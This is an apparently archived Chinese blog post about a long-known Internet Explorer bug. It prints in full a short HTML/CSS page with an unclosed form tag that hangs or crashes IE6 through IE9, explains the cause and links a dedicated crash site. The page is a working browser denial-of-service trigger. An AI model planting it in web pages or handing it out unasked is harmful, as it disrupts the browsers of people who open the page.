39 lines
4.5 KiB
HTML
39 lines
4.5 KiB
HTML
|
<div id="sina_keyword_ad_area2" class="articalContent ">
|
|||
|
|
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding: 0px;"><span style="font-family: Verdana;">许多人都<a style="color: #003366; text-decoration: none; padding: 0px; margin: 0px;" href="http://www.howtogeek.com/howto/32372/htg-explains-why-do-so-many-geeks-hate-internet-explorer/" target="_blank">非常讨厌InternetExplorer</a>，在西方万圣节即将到来之际，让我们来看一个真正吓人的东西——如何用一段简单的HTML和CSS，将任何版本的IE搞死。我们只需要简单地打开任意文本编辑器，将下面的代码复制进去，然后保存文件，例如SomeFilename.html。</span></p>
|
|||
|
|
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding: 0px;"> <html><head><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<style type="text/css"><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
#a {<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
margin:0 10px 10px;<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
}<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
#b {<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
width:100%;<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
}<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
</style><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<title>IECrasher</title><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
</head><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<body><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<table><tr><td><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<div id="a"><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<form id="b"><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<input type="text"name="test"/><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
</div><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
</td><tdwidth="1"></td></tr></table><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
</body></html> <br style="padding: 0px; margin: 0px;" />
|
|||
|
|
然后用Internet Explorer打开它——哈哈！它很惨地死给你看了。<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<img style="border-style: initial; border-color: initial; border-width: 0px; padding: 0px; margin: 0px;" title="IE Crash" src="http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif" alt="IE Crash" width="580" height="328" /><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
这个bug几乎存在于现在流行的所有IE版本，从IE6到刚刚发布的Internet Explorer9的第6个平台预览版。在IE6中，该页面往往显示为空白，但是整个窗口都无法交互。在IE8中，崩溃来得很彻底。而IE9Beta增强了坚固性，经过我的实测，这个页面又是会导致整个进程无响应，而有时IE9会提示你网页存在的问题，但是这都无法避免崩溃的现实。<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<img style="border-style: initial; border-color: initial; border-width: 0px; padding: 0px; margin: 0px;" title="IE9 crash" src="http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif" alt="" height="328" /><br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
事实上，<a style="color: #003366; text-decoration: none; padding: 0px; margin: 0px;" href="http://groups.google.com/group/microsoft.public.internetexplorer.general/browse_frm/thread/80a2645dc598a4b2?pli=1" target="_blank">很早就有人</a>发现过这个问题了，而且还有一个专门的网站（<a style="color: #003366; text-decoration: none; padding: 0px; margin: 0px;" href="http://crashie8.com/" target="_blank">http://crashie8.com/</a>，请谨慎传播此链接）。除了IE以外的浏览器打开那个页面都不会有任何问题，但是IE却莫名其妙地崩溃。<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
当然，如果你细心的话，会发现上面的HTML代码中<form>标签没有闭合。我们需要在<input>标签后使用</form>闭合标签才能让这段代码符合规范。规范的代码就不会让IE崩溃了，这样看来似乎并不是IE的错。<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
<br style="padding: 0px; margin: 0px;" />
|
|||
|
|
但是，<span style="padding: 0px; margin: 0px;">当其他浏览器都能有很高的容错性时，IE没有，甚至到了IE9还是没有，这就是IE的悲剧了。</span></p>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<p> </p>
|